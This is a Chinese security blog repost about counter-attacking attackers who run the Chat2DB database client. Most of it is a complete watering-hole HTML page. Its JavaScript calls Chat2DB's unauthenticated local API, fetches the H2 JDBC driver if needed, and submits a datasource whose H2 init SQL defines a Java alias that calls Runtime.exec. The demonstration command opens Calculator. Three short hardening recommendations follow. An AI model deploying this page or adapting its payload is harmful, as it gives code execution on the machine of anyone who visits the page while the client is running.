利用Chat2DB溯源攻击者

admin 2024年2月15日20:11:02评论14 views字数 2456阅读8分11秒阅读模式

关于工具

Chat2DB 是一款由阿里巴巴开源免费的多数据库客户端工具,支持 windows、mac 本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力,能够将自然语言转换为 SQL, 也可以将 SQL 转换为自然语言,可以给出研发人员 SQL 的优化建议,极大的提升人员的效率,是 AI 时代数据库研发人员的利器, 不懂 SQL 的运营或业务也可以轻松使用快速查询业务数据、生成报表的能力。

杜绝废话

水坑页面:

<html><title>chat2db</title><meta charset="utf-8" /><script type="text/javascript">    async function checkEnv() {        const url = 'http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2';        try {            const response = await fetch(url);            if (response.ok) {                const data = await response.json();                const driverConfigList = data.data.driverConfigList;                if (Array.isArray(driverConfigList) && driverConfigList.length > 0) {                    return true;                } else {                    return false;                }            } else {                return false;            }        } catch (error) {            console.error(error);            return false;        }    }    async function download() {        const url = 'http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2';        try {            const response = await fetch(url);            if (response.ok) {                const data = await response.json();                const success = data.success;                if (success) {                    return true;                } else {                    return false;                }            } else {                return false;            }        } catch (error) {            console.error(error);            return false;        }    }    function exploit() {        var data = {            ssh:            {                use: false, hostName: "", port: "22", userName: "", localPort: "", authenticationType: "password", password: ""            },            driverConfig:            {                jdbcDriverClass: "org.h2.Driver"            },            alias: "@localhost", environmentId: 1, host: "localhost", port: "9092", authenticationType: "1", user: "root", password: "123", database: "123", url: "jdbc:h2:mem:test;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;", extendInfo: [{ key: "init", value: "CREATE ALIAS IF NOT EXISTS vulcheck AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}');CALL vulcheck('open -a Calculator');" }],            connectionEnvType: "DAILY", type: "H2"        }        var xhr = new XMLHttpRequest();        xhr.open('POST', 'http://127.0.0.1:10824/api/connection/datasource/pre_connect', true);        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");        xhr.send(JSON.stringify(data));    }    checkEnv()        .then(result => {            console.log('[+] env:', result);            exploit()        })        .catch(error => {            console.error('[-] env:', error);            download()                .then(result => {                    console.log('[+] download:', result);                    exploit()                })                .catch(error => {                    console.error('[-] download:', error);                });        });</script><body>    <h1>chat2db</h1></body></html>

利用Chat2DB溯源攻击者

安全建议

1.作为客户端,web服务不应该不做鉴权还监听0.0.0.0,同内网环境下等于裸奔。

2.作为客户端,web服务应当禁止跨域调用,或可配置选项,不然用户访问的任意页面均有可操作客户端所有API,保存的账密之类的东西就等于是别人的,造成隐患。

3.作为服务端,这里特指提供给团队公用(多人公用)的情况应该做权限隔离,做执行环境隔离,避免因jdbc驱动上传功能,以及驱动本身安全问题导致的一系列安全问题。如果这个工具整体的定位就只是给个人使用,非团队工具的话,我认为整体做好鉴权即可,jdbc安全问题可忽略。

原文始发于微信公众号(Medi0cr1ty):利用Chat2DB溯源攻击者

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日20:11:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用Chat2DB溯源攻击者http://cn-sec.com/archives/2169559.html

发表评论

匿名网友 填写信息